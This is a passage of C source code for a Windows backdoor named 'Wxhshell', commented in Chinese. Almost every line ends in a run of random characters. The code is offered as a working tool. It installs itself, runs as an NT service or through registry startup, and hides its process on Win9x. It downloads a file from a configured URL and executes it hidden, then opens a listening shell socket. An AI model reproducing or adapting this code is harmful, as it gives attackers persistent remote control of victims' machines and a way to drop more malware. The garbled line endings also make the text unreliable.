ULONG UniqueProcessId; i1S>yV^l
ULONG InheritedFromUniqueProcessId; +3KEzo1=)
} PROCESS_BASIC_INFORMATION; uYE`"/h,1e
z{Mr$%'EY
PROCNTQSIP NtQueryInformationProcess; [oF|s-"9!
B'^:'uG
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L#vI=GpL,r
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &ZL3{M
tK&'<tZh
HANDLE hProcess; 5Ri6Z#qm
PROCESS_BASIC_INFORMATION pbi; /z BxJT0
rXA*NeA3v
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vDH>H^9Y
if(NULL == hInst ) return 0; eds26(
hAHq\
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 97ql5
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z!U)I-x&
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M`ip~7"
Yv:55+ e!|
if (!NtQueryInformationProcess) return 0; y#XbJuN/
~#kT_*sw)
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _x!7}O#k
if(!hProcess) return 0; A^p[52`
|g=="
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }d<}FJ-,
Q'%PNrN
CloseHandle(hProcess); H@ t'~ZO
o1<_fI
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hGiz)v~
if(hProcess==NULL) return 0; b, :QT~g=
`F/Tv 5@L
HMODULE hMod; f%V4pzOc"
char procName[255]; }!6\|;Qsz,
unsigned long cbNeeded; ?wO-cnl
6 ~>FYX
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e^O(e
kYLM&&h
CloseHandle(hProcess); .|/~op4;
"_`F\DGAZu
if(strstr(procName,"services")) return 1; // 以服务启动 $^@ )
y~75r\"R
return 0; // 注册表启动 ^$t7+g
} 6oBfB8]:d
?:w1je7
// 主模块 r3>i+i42
int StartWxhshell(LPSTR lpCmdLine) 8jyG"%WO
{ Sv &[f}S
SOCKET wsl; J9=m]R8T
BOOL val=TRUE; U*3uq7
int port=0; 5< ja3
struct sockaddr_in door; zL\OB?)5J
Q:5KZm[ [
if(wscfg.ws_autoins) Install(); VO"("7L
Ntbg`LGf'!
port=atoi(lpCmdLine); D:Zy
vBog0KD);s
if(port<=0) port=wscfg.ws_port; s M +WkN}{
e6!LS x}y
WSADATA data; z@w Mc
EH
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {c
(!;U
f4BnX(1u
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "I
Ql Vi
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'D@-
door.sin_family = AF_INET; v$N|"o""
door.sin_addr.s_addr = inet_addr("127.0.0.1"); @WI2hHD
door.sin_port = htons(port); J&T.(
'{(UW.Awo
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0pbtH8~
closesocket(wsl); ;g~TWy^o
return 1; #y%!\1M/:A
} <A#
l
35
KG=h&
if(listen(wsl,2) == INVALID_SOCKET) { /RMPS.
d
{
closesocket(wsl); `(3/$%
return 1; !tp1:'KG
} $H-!j%hV
Wxhshell(wsl); (`:O~>[N
WSACleanup(); LA`*_|}qcR
ak;*W
return 0; Ovj^IjG-`
4)("v-p
} !=N"vD*
*guoWPA|Ij
// 以NT服务方式启动 d20gf:@BM
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k70|'* Kh
{ YJo["Q
DWORD status = 0; E>}4$q[r
DWORD specificError = 0xfffffff; X_7UJ
jFw"
qs QNjt
serviceStatus.dwServiceType = SERVICE_WIN32; +Xemf?
serviceStatus.dwCurrentState = SERVICE_START_PENDING; OD5m9XS
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DS'n
serviceStatus.dwWin32ExitCode = 0; )4&cph';
serviceStatus.dwServiceSpecificExitCode = 0; -UD\;D?$
serviceStatus.dwCheckPoint = 0; qv@$ZLR
serviceStatus.dwWaitHint = 0; ;vIrGZV<
Y_QH&GZ
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [3!~PR]
if (hServiceStatusHandle==0) return; d.P\fPSD
u07pq4Ly
status = GetLastError(); Q*b]_0Rb
if (status!=NO_ERROR) FD8N"p
{ _-#'j2
serviceStatus.dwCurrentState = SERVICE_STOPPED; ka3u&3"
serviceStatus.dwCheckPoint = 0; vo#UtN:q
serviceStatus.dwWaitHint = 0; D`VM6/iQR
serviceStatus.dwWin32ExitCode = status; ph-ATJ"
serviceStatus.dwServiceSpecificExitCode = specificError; ^Y
iJV7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); %b"\bHH
return; 1[yq0^\]M[
} dS<C@(
$t6e2=7
serviceStatus.dwCurrentState = SERVICE_RUNNING; ^/U|2'$'>E
serviceStatus.dwCheckPoint = 0; 8f3vjK'
serviceStatus.dwWaitHint = 0; YWxc-fPZ
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Zib)P &
} />9OR
lHhUC16>
// 处理NT服务事件,比如:启动、停止 u,w:SM@*(
VOID WINAPI NTServiceHandler(DWORD fdwControl) `4~H/'%QB
{ n;:rf 7hGY
switch(fdwControl) -
h9?1vc7
{ wy}k1E'M
case SERVICE_CONTROL_STOP: %!PM&zV
serviceStatus.dwWin32ExitCode = 0; J;f!!<l\
serviceStatus.dwCurrentState = SERVICE_STOPPED; ,Bal
serviceStatus.dwCheckPoint = 0; 3fh8$A
serviceStatus.dwWaitHint = 0; &w1P\4?G
{ mljh|[
SetServiceStatus(hServiceStatusHandle, &serviceStatus); %,k][V
} ^)W[l!!<)
return; ()3O=!
case SERVICE_CONTROL_PAUSE: a!u
rew#
serviceStatus.dwCurrentState = SERVICE_PAUSED; j<)9dEM'
break; INyk3`FT
case SERVICE_CONTROL_CONTINUE: )}_a
0bt
serviceStatus.dwCurrentState = SERVICE_RUNNING; XQ~Ke-QW)
break; \}
^E`b
case SERVICE_CONTROL_INTERROGATE: [mPjP%{=@
break; T.qNCJmB
}; LK@lpkX
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jyqc2IH
} as>L[jyG/
C,.Ee3T
// 标准应用程序主函数 *Otg*,\
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mI>,.&eo
{ ]TyisaT
&JtV'@>v
// 获取操作系统版本 ^tCd L@$AS
OsIsNt=GetOsVer(); 78/N
GetModuleFileName(NULL,ExeFile,MAX_PATH); *>+,(1Fz
E_bO9nRHV
// 从命令行安装 C|?o*fQ
if(strpbrk(lpCmdLine,"iI")) Install(); {U_$&f9s
R?p00
// 下载执行文件 m]cHF.:5
if(wscfg.ws_downexe) { ;JRs?1<='
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q.()z(M7
WinExec(wscfg.ws_filenam,SW_HIDE); vVgg0Y2
} e@ \p0(
QurW/a
if(!OsIsNt) { Jzp#bgq}|
// 如果时win9x,隐藏进程并且设置为注册表启动 Nq@+'<@p$
HideProc(); ~O1&@xX
StartWxhshell(lpCmdLine); &|`C)6[C
} kGN+rHo
else "&%#!2
if(StartFromService()) VV9_`myN7
// 以服务方式启动 -k7X:!>QHC
StartServiceCtrlDispatcher(DispatchTable); bHI<B)=`
else V,[d66H=N
// 普通方式启动 -c}, :G"
StartWxhshell(lpCmdLine); +(+Itmx2&
q]\g,a
return 0; d`(@_czdF
}